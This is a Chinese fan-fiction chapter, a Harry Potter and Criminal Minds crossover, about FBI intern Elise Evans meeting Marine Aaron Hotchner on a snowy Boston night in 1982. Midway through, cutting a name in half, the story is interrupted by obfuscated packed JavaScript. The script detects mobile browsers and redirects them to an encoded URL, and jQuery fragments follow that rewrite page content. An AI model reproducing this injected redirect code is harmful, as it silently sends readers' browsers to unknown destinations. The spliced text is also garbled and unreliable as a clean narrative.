1982年的冬天，波士顿下了第一场雪。
伊莉丝·伊万斯站在哈佛大学的图书馆窗前，看着雪花落在查尔斯河上。她19岁，拥有两个硕士学位，一个是心理学，一个是语言学。她的教授们说她是个天才，建议她继续攻读博士。但伊莉丝拒绝了。
她在联邦调查局的波士顿外勤办公室找到了一份工作，行为分析部门的实习生。这是一个听起来光鲜的职位，但大多数时候，她就坐在堆满文件的办公室里分析冷案卷宗，写冗长的报告，喝难喝的咖啡。
但这是她想要的生活。
她想要理解人类行为的边界，那些跨越了道德和法律界限的行为。她想要知道，一个人是如何从普通人变成怪物的。也许，在某种程度上，她在试图理解那个毁灭了她姐姐世界的男人，伏地魔。
伊莉丝从不和任何人谈论魔法世界。在波士顿，没有人知道她是个麻瓜出身的女巫的妹妹。没有人知道她的姐姐正在英国和一个史上最危险的黑巫师作战。更没有人知道伊莉丝每个晚上都会做一个相同的噩梦，梦到她的姐姐倒在一片绿色的光芒中，红发散落在地上，永远地闭上了她绿色的眼睛。这个梦总是让她在凌晨三点惊醒，浑身冷汗，心脏狂跳。她想做点什么，可是现在的她依然无能为力，她甚至都没有办法联系上姐姐，她只能等待那不定期的信件捎来一点远方的音讯。
幸好，目前还没有坏消息。
—----------------------
这天晚上，伊莉丝加班到很晚。当她走出联邦调查局大楼时，已经快十一点了。雪很大，密集的雪花在路灯下飞舞旋转，像无数只白色的飞蛾扑向火光。她把围巾裹得更紧了一些，低头快步走向地铁站，她的鞋子踩在新鲜的雪地上，发出细碎的咯吱声。
伊莉丝今天过得很糟。
早上，她的上司把她叫进办公室，把一份卷宗递给了她，“这个案子，你来做行为分析。”
那是一起连环杀人案，受害者都是年轻女性，死状都惨不忍睹。伊莉丝整整一天的时间都在阅读那些尸检报告，现场照片和证人证词，每一个字都在她的脑海里刻下一道痕迹。
她低头深深地舒了一口气，她在理解黑暗的同时，黑暗好像也在影响她。
然后她就撞上了一个人。
她怀里的文件飞了出去，散落在雪地上。而她本人也踉踉跄跄往后连退几步，眼看就要摔倒。
一只稳定的手抓住了她的手臂。
伊莉丝站稳了。
“是我的错，”一个声音说。低沉而平稳，像大提琴的弦被轻轻拨动，“我没看路。”
伊莉丝抬起头。
然后忘记了呼吸。
这是一个很高的男人，比她高出一个头，肩膀宽阔，站姿笔直得像一把剑。他的脸棱角分明，嘴巴薄而坚定。深棕色的头发整齐地梳向一侧，但有几缕被风吹落又被雪打湿，垂在额前。雪花落在他的头发肩膀和黑色的海军陆战队制服外套上，像是特意给他披了一层薄薄的糖霜。
但最引人注目的还是他的眼睛。
深棕色的眼睛，在路灯下反映着琥珀色的光，像冬天的黑咖啡，又像没有月亮的夜空。深沉，内敛，带着一种克制的温度。
那双眼睛此刻正看着她，满是认真的歉意。
伊莉丝回过神来，她低头看向散落在地上的纸张，“我的文件……”
“我来。”男人松开她的手臂，蹲下身去捡那些文件。他的动作迅速而精准。伊莉丝注意到他的手指，修长，指节分明，指甲修剪得很干净，掌心有粗糙的茧。
他把文件整理好，递给她，“抱歉，我走路的时候在看这本书。”
伊莉丝接过文件，看了一眼他另一只手里拿着的一本书，是约翰·道格拉斯写的犯罪心理学。
她寒暄，“有趣的阅读选择。”
男人顺着她的视线看了一眼手里的书，然后重新看向她。他的表情没有太大变化，但伊莉丝看见他的眼睛里闪过一丝什么，也许是惊讶，也许是别的什么。
“你认识这本书？”他问。
“我是fbi的实习生，”伊莉丝说，“行为分析部分，那本书是我的教科书之一。”
男人的眉毛微微扬起。这是目前伊莉丝在他脸上见过的最大幅度的表情变化。
“艾伦·霍奇纳。”他伸出手。
“伊莉丝·伊万斯。”她握住了他的手。
他的手很温暖，而他的握手坚定但不过分用力。这是一个有纪律的人，一个控制自己力量的人。
“你在军队？”伊莉丝看了一眼他的外套。
“海军陆战队，”霍奇纳说，“我在匡提科服役，但被派到波士顿参加一个短期培训项目。”
“所以你利用休息时间来fbi大楼附近闲逛，看能不能偶遇一些侧写师？”伊莉丝的语气里有一丝调侃。
霍奇纳的嘴角提了一下，不是微笑，但已经非常接近了，这个微小的表情让他的整张脸都变得柔和了一些，像冰面下透出的光。
“我只是……对你们的工作感兴趣。”
“我们？”伊莉丝重复了一遍，“我只是个实习生，每天的工作就是看卷宗和冲咖啡。”
“那至少你已经在看卷宗了，我还在读教科书。”霍奇纳说。
伊莉丝笑了。她也没想到自己会笑。在今天经历了那些可怕的案件细节之后，她以为今晚不会再笑了。但这个陌生男人的某种特质，也许是他的认真，也许是他眼中那种和她一样的，对理解黑暗的渴望，让她笑了。
“你要去哪儿？”伊莉丝问。
“回士兵营地，”霍奇纳说，“但我可以绕路。”
伊莉丝歪了歪头，“为什么？”
霍奇纳沉默了一秒。他的表情没有变化，但伊莉丝注意到他的耳朵尖微微变红了。这在路灯下格外的明显。
“因为你看起来很累，”他轻声说，“而且一个人走夜路也不安全。”
伊莉丝的心跳漏了一拍。
“我住在地铁站附近，”伊莉丝说，“大概十五分钟的路。”
“我陪你走过去。”
伊莉丝想拒绝，但她的嘴背叛了她。
“好。”
他们并肩走在雪地里。霍奇纳走在她的左侧。他走路的姿势和说话一样，平稳，有节奏，每一步都踩得很实。
“你为什么对fbi 的工作感兴趣？”伊莉丝问。她发现自己真的想知道答案，而不仅仅是找话题。
霍奇纳沉默了一会儿，说：“因为在军队里，我学会了如何消灭敌人。但我还想学会另一件事，如何理解他们。”
伊莉丝转头看着他。雪花落在他的肩膀上，他的目光直视前方，表情平静。
“你见过战斗？”伊莉丝问。她知道海军陆战队会部署到海外。
“见过。”霍奇纳说。他没有细说，伊莉丝也没有追问。有些东西不需要说出来。
“你为什么对犯罪心理学感兴趣？”霍奇纳反问道。
伊莉丝想了想，“因为我想知道一个人是怎么变成怪物的。”
霍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449482|201130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇纳也看了她一眼，“你觉得怪物和人的区别在哪里？”
“选择，”伊莉丝说，不带一丝犹豫，“每个人都有黑暗的一面。但有些人选择成为黑暗，有些人选择对抗黑暗。”
“那你呢？”霍奇纳问，“你选择什么？”
伊莉丝停下脚步。雪花在他们之间旋转，像一面白纱做的帷幕。
“我选择理解，”她说，“然后站在需要保护的人前面。”
霍奇纳注视着她，那双深棕色的眼睛里有什么东西在变化。不是惊讶，不是赞赏，更像一个人在黑暗中走了很久，突然看见了远处的灯光。
“我也是。”他说。
那一刻，伊莉丝感到一种奇异的连接，像两根在黑暗中独立燃烧的蜡烛，突然发现彼此的存在。
他们继续走。对话间偶尔的沉默也不再尴尬。
“你从哪来的？”霍奇纳问。
“英国，考文垂。”
“为什么来美国？”
伊莉丝犹豫了一下。她不能告诉他真正的答案——因为她的姐姐是女巫，因为英国正在爆发巫师战争，因为她的父母姐姐都希望她远离危险。
“为了读书，”她说。这是一部分真话，“哈佛大学，心理学。”
霍奇纳的眉毛又微微扬起了，“哈佛，那很厉害。”
“你不也是？”伊莉丝说，“海军陆战队，那也很厉害。”
霍奇纳的嘴角动了动，“我们在互相恭维吗？”
伊莉丝也笑了，“也许是的，这很尴尬。”
“非常尴尬。”霍奇纳表示同意。
他们对视了一眼，然后同时笑了。霍奇纳的笑声很轻，像远处的雷声，低沉而短暂。让伊莉丝想起了考文垂的雨季。
走到地铁站入口时，伊莉丝停下来。
“谢谢你送我。”她说。
“不客气。”霍奇纳说。他站定在她面前，雪花又落在他的头发和肩膀上，他却丝毫没有要拂去的意思。
“伊莉丝。”他说。
“嗯？”
“我这两周还在波士顿。”
“嗯。”
“如果你有时间，”他说，“也许我们可以喝杯咖啡，继续讨论犯罪心理学。”
霍奇纳看着她，耳朵更红了。
“好，”伊莉丝听见自己没有多犹豫的回答，“什么时候？”
霍奇纳的心跳加速了，“周六？下午两点？fbi大楼附近有一家咖啡店。”
“我知道那家，”伊莉丝说，“周六下午两点我有空。”
“好，”霍奇纳说，“那周六见。”
“周六见。”
伊莉丝转身走向地铁站的台阶。走了几步，她忍不住回头看了一眼。
霍奇纳还在原地看着她。雪花落在他的肩上，而他双手插在口袋里，站姿笔直。路灯的光在他身后勾勒出一个清晰的轮廓，让他看起来像一幅版画。
他朝她微微点了点头。
伊莉丝转过头，快步走下台阶。她的心跳很快，脸颊也很烫，可能有些是被冷风吹的，但更多的是因为别的什么。
她告诉自己，这只是兴奋。兴奋于她终于找到了一个可以讨论犯罪心理学的人。一个理解她的人，仅此而已。
但她的嘴角一直翘着，直到她回到公寓，直到她躺在床上，直到她闭上眼睛。
那天晚上，她没有做噩梦。
她梦见了一片雪地，和一个站在雪地里的男人。
他的眼睛是深棕色的，像冬天手心里那杯温暖的黑咖啡。